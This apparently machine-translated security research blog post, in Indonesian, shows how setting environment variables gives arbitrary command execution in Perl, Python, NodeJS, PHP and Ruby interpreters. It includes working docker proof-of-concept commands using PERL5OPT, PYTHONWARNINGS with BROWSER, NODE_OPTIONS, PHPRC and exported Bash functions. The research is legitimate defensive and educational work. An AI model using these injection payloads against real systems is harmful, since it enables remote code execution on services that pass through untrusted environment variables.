pengantar
Dalam proyek peretasan baru-baru ini, kami mendapat kemampuan untuk menentukan variabel lingkungan, tetapi bukan proses yang berjalan. Kami juga tidak dapat mengontrol konten file pada disk, dan brute-force dari pengidentifikasi proses (PID) dan deskriptor file tidak memberikan hasil yang menarik, tidak termasuk eksploitasi LD_PRELOAD jarak jauh . Untungnya, penerjemah bahasa skrip dijalankan, yang memungkinkan kami untuk menjalankan perintah arbitrer dengan menyetel variabel lingkungan tertentu. Blog ini membahas bagaimana perintah arbitrer dapat dijalankan oleh sejumlah penerjemah bahasa skrip di bawah variabel lingkungan berbahaya.
Perl
Pembacaan sepintas dari bagian
ENVIRONMENT
halaman manual perlrun(1)
mengungkapkan banyak variabel lingkungan yang perlu dijelajahi. Variabel lingkungan PERL5OPT
memungkinkan Anda menyetel opsi baris perintah, tetapi dibatasi hanya untuk menerima opsi CDIMTUWdmtw
. Sayangnya, ini berarti ada kekurangan -e
, yang memungkinkan untuk memuat kode perl untuk dijalankan.
Namun, semuanya tidak hilang, seperti yang ditunjukkan dalam exploit untuk CVE-2016-1531 dari Hacker Fantastic . Eksploitasi modul perl menulis file berbahaya
/tmp/root.pm
dan menyediakan variabel lingkungan PERL5OPT=-Mroot
, dan PERL5LIB=/ tmp
untuk mengeksekusi kode arbitrer. Namun, ini adalah eksploitasi untuk kerentanan eskalasi hak istimewa lokal, dan metode umum idealnya tidak memerlukan akses ke sistem file. Melihat kemengeksploitasi dengan cara blasty untuk CVE yang sama, dia tidak memerlukan pembuatan file, menggunakan variabel lingkungan PERL5OPT=-d
dan PERL5DB=system("sh");exit;
. Variabel yang sama digunakan untuk menyelesaikan masalah KKP tahun 2013.
Kehalusan terakhir dari metode generik adalah menggunakan satu variabel lingkungan, bukan dua. @justinsteven menemukan bahwa hal ini dimungkinkan dengan
PERL5OPT=-M
. Sementara modul perl untuk mendownload, Anda dapat menggunakan salah satu -m
atau -M
, tetapi pilihan -M
memungkinkan Anda untuk menambahkan kode tambahan setelah nama modul.
Bukti dari konsep
Contoh 0: Menjalankan kode arbitrer dengan variabel lingkungan versus perl menjalankan skrip kosong (/ dev / null)
$ docker run --env 'PERL5OPT=-Mbase;print(`id`)' perl:5.30.2 perl /dev/null
uid=0(root) gid=0(root) groups=0(root)
Python
Dilihat dari bagian
ENVIRONMENT VARIABLES
mana pada python(1)
, PYTHONSTARTUP
awalnya terlihat seperti solusi sederhana. Ini memungkinkan Anda untuk menentukan jalur ke skrip Python yang akan dieksekusi sebelum prompt ditampilkan secara interaktif. Persyaratan untuk mode interaktif tampaknya tidak menjadi masalah, karena variabel lingkungan PYTHONINSPECT
dapat digunakan untuk masuk ke mode interaktif, seperti -i
pada baris perintah. Namun, dokumentasi untuk opsi tersebut -i
menjelaskan apa yang PYTHONSTARTUP
tidak akan digunakan saat python dimulai dengan skrip untuk dieksekusi. Ini berarti bahwa PYTHONSTARTUP
keduanya PYTHONINSPECT
tidak dapat digabungkan, dan PYTHONSTARTUP
hanya berpengaruh ketika REPL Python segera dimulai. Ini akhirnya berarti ituPYTHONSTARTUP
tidak layak karena tidak berpengaruh saat skrip Python biasa dijalankan.
Variabel lingkungan
PYTHONHOME
dan tampak menjanjikan PYTHONPATH
. Keduanya memungkinkan eksekusi kode arbitrer, tetapi mengharuskan Anda untuk dapat membuat direktori dan file di sistem file juga. Dimungkinkan untuk melonggarkan persyaratan ini dengan menggunakan sistem file virtual / proc dan / atau file ZIP.
Sebagian besar variabel lingkungan lainnya hanya diperiksa untuk string yang tidak kosong, dan jika demikian, sertakan pengaturan yang umumnya tidak berbahaya. Salah satu pengecualian yang jarang adalah
PYTHONWARNINGS
.
Bekerja dengan PYTHONWARNINGS
Dokumentasi untuk
PYTHONWARNINGS
mengatakan bahwa ini sama dengan menentukan parameter -W
. Parameter ini -W
digunakan untuk manajemen peringatan untuk menentukan peringatan dan seberapa sering ditampilkan. Bentuk lengkap dari argumennya adalah action:message:category:module:line
. Meskipun peringatan pemantauan tidak tampak seperti petunjuk yang menjanjikan, hal ini berubah dengan cepat setelah pengujian penerapan.
Contoh 1: Python-3.8.2 / Lib / warnings.py
[...]
def _getcategory(category):
if not category:
return Warning
if '.' not in category:
import builtins as m
klass = category
else:
module, _, klass = category.rpartition('.')
try:
m = __import__(module, None, None, [klass])
except ImportError:
raise _OptionError("invalid module name: %r" % (module,)) from None
[...]
Kode ini menunjukkan bahwa selama kategori yang ditentukan berisi titik, kita dapat mulai mengimpor modul Python arbitrer.
Masalah berikutnya adalah sebagian besar modul dari pustaka standar Python mengeksekusi kode yang sangat sedikit saat diimpor. Mereka biasanya hanya mendefinisikan kelas yang akan digunakan nanti, dan bahkan ketika mereka menyediakan kode untuk dijalankan, kode biasanya dilindungi dengan memeriksa variabel __main__ (untuk menentukan apakah file diimpor atau dijalankan secara langsung).
Pengecualian tak terduga untuk aturan ini adalah modul antigravity . Pengembang Python pada tahun 2008 menyertakan telur paskah yang dapat dipanggil dengan menjalankan
import antigravity
... Impor ini akan segera membuka komik xkcd di browser Anda dengan bercanda bahwa impor antigravitasi di Python memungkinkan untuk terbang.
Adapun bagaimana modul
antigravity
membuka browser Anda, ia menggunakan modul lain dari pustaka standar yang disebut webbrowser
. Modul ini memeriksa PATH Anda untuk berbagai macam browser termasuk mozaik, opera, skipstone, konqueror, chrome, chromium, firefox, links, elinks, dan lynx. Ini juga menerima variabel lingkungan yang BROWSER
menunjukkan proses mana yang akan dijalankan. Tidak ada argumen yang dapat diberikan untuk proses dalam variabel lingkungan, dan url xkcd komik adalah satu-satunya argumen kode keras untuk perintah tersebut.
Kemampuan untuk mengubahnya menjadi eksekusi kode arbitrer bergantung pada executable apa saja yang tersedia di sistem.
Menggunakan Perl untuk Menjalankan Kode Arbitrer
Salah satu pendekatannya adalah dengan menggunakan Perl, yang biasanya diinstal pada sistem dan bahkan tersedia dalam image Docker Python standar. Namun, Anda tidak dapat menggunakan biner
perl
itu sendiri, karena argumen pertama dan satu-satunya adalah url xkcd komik. Argumen ini akan memunculkan kesalahan dan proses akan berhenti tanpa menggunakan variabel lingkungan PERL5OPT
.
Contoh 2: PERL5OPT tidak berpengaruh saat URL diteruskan ke perl
$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perl https://xkcd.com/353/
Can't open perl script "https://xkcd.com/353/": No such file or directory
Untungnya, ketika Perl tersedia, skrip Perl default seperti perldoc dan perlthanks juga sering tersedia. Skrip ini juga akan gagal dengan argumen yang tidak valid, tetapi kesalahan dalam kasus ini terjadi lebih lambat dari pemrosesan variabel lingkungan PERL5OPT. Ini berarti Anda dapat menggunakan payload variabel lingkungan Perl yang dijelaskan sebelumnya di blog ini.
Contoh 3: PERL5OPT bekerja seperti yang diharapkan dengan perldoc dan perlthanks
$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perldoc https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)
$ run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perlthanks https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)
Bukti dari konsep
Contoh 4: Menjalankan Kode Arbitrer Menggunakan Beberapa Variabel Lingkungan dengan Python 2 dan Python 3
$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'
$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'
NodeJS
Michal Bentkowski memposting muatan untuk eksploitasi Kibana (CVE-2019-7609) di blognya . Prototipe kerentanan polusi digunakan untuk mengatur variabel lingkungan yang berubah-ubah yang menghasilkan eksekusi perintah yang sewenang-wenang. Muatan dari Michal menggunakan variabel lingkungan
NODE_OPTIONS
dan sistem file proc secara khusus /proc/self/environ
.
Meskipun teknik Michal kreatif dan berhasil dengan baik dalam kasusnya, teknik ini tidak selalu dijamin berhasil dan memiliki beberapa batasan yang sebaiknya ditangani.
Batasan pertama adalah penggunaan
/proc/self/environ
hanya jika konten dapat dibuat valid secara sintaksis oleh JavaScript. Untuk melakukan ini, Anda harus dapat membuat variabel lingkungan dan membuatnya muncul terlebih dahulu di konten file, /proc/self/environ
atau mengetahui / mencontek nama variabel lingkungan yang muncul terlebih dahulu, dan menimpa nilainya.
Batasan lain adalah bahwa nilai variabel lingkungan pertama diakhiri dengan komentar satu baris (//). Oleh karena itu, setiap karakter baris baru dalam variabel lingkungan lain kemungkinan besar akan menyebabkan kesalahan sintaks dan mencegah payload dijalankan. Menggunakan komentar banyak baris (/ *) tidak akan menyelesaikan masalah, karena komentar tersebut harus ditutup agar benar secara sintaksis. Oleh karena itu, dalam kasus yang jarang terjadi ketika variabel lingkungan berisi karakter baris baru, perlu untuk mengetahui / menghapus nama variabel lingkungan dan menimpa nilainya dengan nilai baru yang tidak berisi baris baru.
Kami akan meninggalkan penghapusan batasan ini sebagai latihan untuk pembaca.
Bukti dari konsep
Contoh 5. Menjalankan kode arbitrer dengan variabel lingkungan terhadap NodeJS Michal Bentkowski
$ docker run -e 'NODE_VERSION=console.log(require("child_process").execSync("id").toString());//' -e 'NODE_OPTIONS=--require /proc/self/environ' node:14.2.0 node /dev/null
uid=0(root) gid=0(root) groups=0(root)
PHP
Jika Anda menjalankannya
ltrace -e getenv php /dev/null
, Anda akan menemukan bahwa PHP menggunakan variabel lingkungan PHPRC
. Variabel lingkungan digunakan saat mencoba mencari dan memuat file konfigurasi php.ini
. Eksploitasi neex untuk CVE-2019-11043 menggunakan sejumlah parameter PHP untuk memaksa eksekusi kode arbitrer. Di Orange Tsai juga memiliki posting yang bagus tentang membuat eksploit Anda sendiri untuk CVE, yang menggunakan daftar pengaturan yang sedikit berbeda. Dengan menggunakan pengetahuan ini, serta pengetahuan yang diperoleh dari teknik NodeJS sebelumnya, dan beberapa bantuan dari Brendan Scarwell , solusi PHP ditemukan dengan dua variabel lingkungan.
Metode ini memiliki batasan yang sama seperti contoh NodeJS.
Bukti dari konsep
Contoh 6: Menjalankan Kode Arbitrer dengan Variabel Lingkungan Terhadap PHP
$ docker run -e $'HOSTNAME=1;\nauto_prepend_file=/proc/self/environ\n;<?php die(`id`); ?>' -e 'PHPRC=/proc/self/environ' php:7.3 php /dev/null
HOSTNAME=1;
auto_prepend_file=/proc/self/environ
;uid=0(root) gid=0(root) groups=0(root)
Rubi
Belum ada solusi universal untuk Ruby yang ditemukan. Ruby tidak menerima variabel lingkungan
RUBYOPT
untuk menentukan opsi baris perintah. Halaman manual mengatakan RUBYOPT hanya dapat berisi -d, -E, -I, -K, -r, -T, -U, -v, -w, -W, --debug, --disable-FEATURE --enable-FEATURE
. Opsi yang paling menjanjikan adalah -r
memaksa Ruby untuk memuat perpustakaan menggunakan require. Namun, ini terbatas pada file dengan ekstensi .rb
atau .so
.
Contoh file yang relatif berguna yang saya temukan
.rb
adalah tools/server.rb
dari permata json, yang tersedia setelah menginstal Ruby di sistem Fedora. Ketika file ini diperlukan, server web dijalankan seperti yang ditunjukkan di bawah ini:
Contoh 7: Menggunakan variabel lingkungan RUBYOPT untuk memulai proses ruby ββdan memulai server web
$ docker run -it --env 'RUBYOPT=-r/usr/share/gems/gems/json-2.3.0/tools/server.rb' fedora:33 /bin/bash -c 'dnf install -y ruby 1>/dev/null; ruby /dev/null'
Surf to:
http://27dfc3850fbe:6666
[2020-06-17 05:43:47] INFO WEBrick 1.6.0
[2020-06-17 05:43:47] INFO ruby 2.7.1 (2020-03-31) [x86_64-linux]
[2020-06-17 05:43:47] INFO WEBrick::HTTPServer#start: pid=28 port=6666
Pendekatan lain di Fedora adalah memanfaatkan fakta bahwa
/usr/bin/ruby
sebenarnya ada skrip Bash yang diluncurkan /usr/bin/ruby-mri
. Skrip memanggil fungsi Bash yang dapat ditimpa oleh variabel lingkungan.
Bukti dari konsep
Contoh 8: Menggunakan Fungsi Bash yang Diekspor untuk Menjalankan Perintah Sewenang-wenang
$ docker run --env 'BASH_FUNC_declare%%=() { id; exit; }' fedora:33 /bin/bash -c 'dnf install ruby -y 1>/dev/null; ruby /dev/null'
uid=0(root) gid=0(root) groups=0(root)
Kesimpulan
Posting ini membahas beberapa kasus penggunaan menarik untuk variabel lingkungan yang dapat membantu mencapai eksekusi kode arbitrer melalui berbagai penerjemah bahasa skrip tanpa menulis file ke disk. Saya harap Anda menikmati membaca dan tertarik untuk menemukan serta berbagi muatan yang ditingkatkan untuk ini dan bahasa skrip lainnya. Jika Anda menemukan teknik umum yang cocok untuk Ruby, akan sangat menarik untuk mendengarnya.
Lihat juga: " Dotfile Madness "